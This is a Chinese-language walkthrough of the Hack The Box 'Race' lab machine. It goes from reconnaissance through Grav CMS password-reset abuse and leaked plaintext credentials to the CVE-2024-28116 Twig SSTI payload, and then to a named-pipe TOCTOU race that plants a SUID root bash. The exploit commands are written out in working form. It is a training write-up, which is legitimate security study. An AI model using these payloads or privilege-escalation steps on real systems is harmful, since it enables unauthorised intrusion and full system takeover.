HTB Race靶机渗透实战:从Grav CMS漏洞到TOCTOU提权

本文详细记录了HTB Race靶机的完整渗透过程,从Grav CMS漏洞发现到phpSysInfo信息泄露,通过密码重置获得管理员权限,利用CVE-2024-28116 SSTI漏洞获取初始shell,最终通过TOCTOU时间竞争漏洞实现root权限提升。

靶机信息

名称 Race
发布日期 2025年9月2日
操作系统 Linux
难度 困难 [40分]
创建者 jkr

侦察阶段

初始扫描

Nmap扫描发现两个开放端口:

  • SSH (22)
  • HTTP (80)
1
2
nmap -p- -vvv --min-rate 10000 10.129.234.211
nmap -p 22,80 -sCV 10.129.234.211

网站分析 - TCP 80

技术栈识别

网站使用Grav CMS,通过Cookie grav-site-09f1269和页面脚注确认。网站重定向到/racers/路径。

目录爆破

使用feroxbuster发现/phpsysinfo路径,需要HTTP基本认证。

获取www-data shell

phpSysInfo信息泄露

使用默认凭证admin/admin登录phpSysInfo,在进程列表中发现cron备份作业包含密码: Wedobackupswithsecur3password5.Noonecanhackus!

Grav管理员访问

备份用户登录

Grav管理面板位于/racers/admin,使用备份用户和上述32字符密码登录。备份用户权限有限,只能使用备份工具。

密码重置漏洞

通过生成站点备份,获取用户账户文件:

  • user/accounts/admin.yaml
  • user/accounts/backup.yaml
  • user/accounts/patrick.yaml

分析Grav密码重置机制,patrick用户的reset字段包含token和过期时间。通过请求密码重置并下载新备份获取有效token,重置patrick密码后获得更高权限。

多种攻击路径

CVE-2024-28116利用

Grav CMS 1.7.43存在SSTI漏洞,可绕过Twig沙箱执行系统命令:

1
2
3
{% set arr = {'1':'system', '2':'foo'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_functions', arr)) }}
{{ system('id') }}

通过创建包含恶意负载的页面获取反向shell。

恶意主题攻击

代理配置

通过Grav管理面板配置代理指向攻击者Burp,实现中间人攻击。

主题安装劫持

拦截主题安装请求,修改下载位置指向恶意主题压缩包,包含webshell实现代码执行。

升级至max用户

凭证发现

/usr/local/share/race-scripts/offsite-backup.sh中发现max用户凭证: max:ruxai0GaemaS1Rah

用户枚举

发现两个用户:patrick和max,成功使用凭证切换到max用户。

获取root权限

枚举分析

max属于racers组,拥有/usr/local/share/race-scripts目录访问权限。通过pspy监控发现每分钟运行的cron作业:

1
/usr/local/bin/secure-cron-runner.sh

TOCTOU漏洞利用

漏洞原理

secure-cron-runner.sh在运行脚本前检查MD5哈希,但在检查和执行之间存在时间窗口。

命名管道攻击

  1. 创建命名管道替代原脚本:

    1
    
    mkfifo offsite-backup.sh
    
  2. 等待cron作业挂起在md5sum检查

  3. 移动管道并创建恶意脚本:

    1
    2
    3
    
    mv offsite-backup.sh pipe
    echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchmod 6777 /tmp/0xdf' > offsite-backup.sh
    chmod +x offsite-backup.sh
    
  4. 向管道写入合法内容通过哈希检查:

    1
    
    cat backup/offsite-backup.sh > pipe
    
  5. 执行SetUID bash获取root权限:

    1
    
    /tmp/0xdf -p
    

总结

Race靶机展示了从信息泄露到权限提升的完整攻击链,涉及Grav CMS漏洞、密码重置机制绕过、SSTI代码执行和TOCTOU时间竞争漏洞,体现了现代Web应用安全中的多层次防御挑战。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计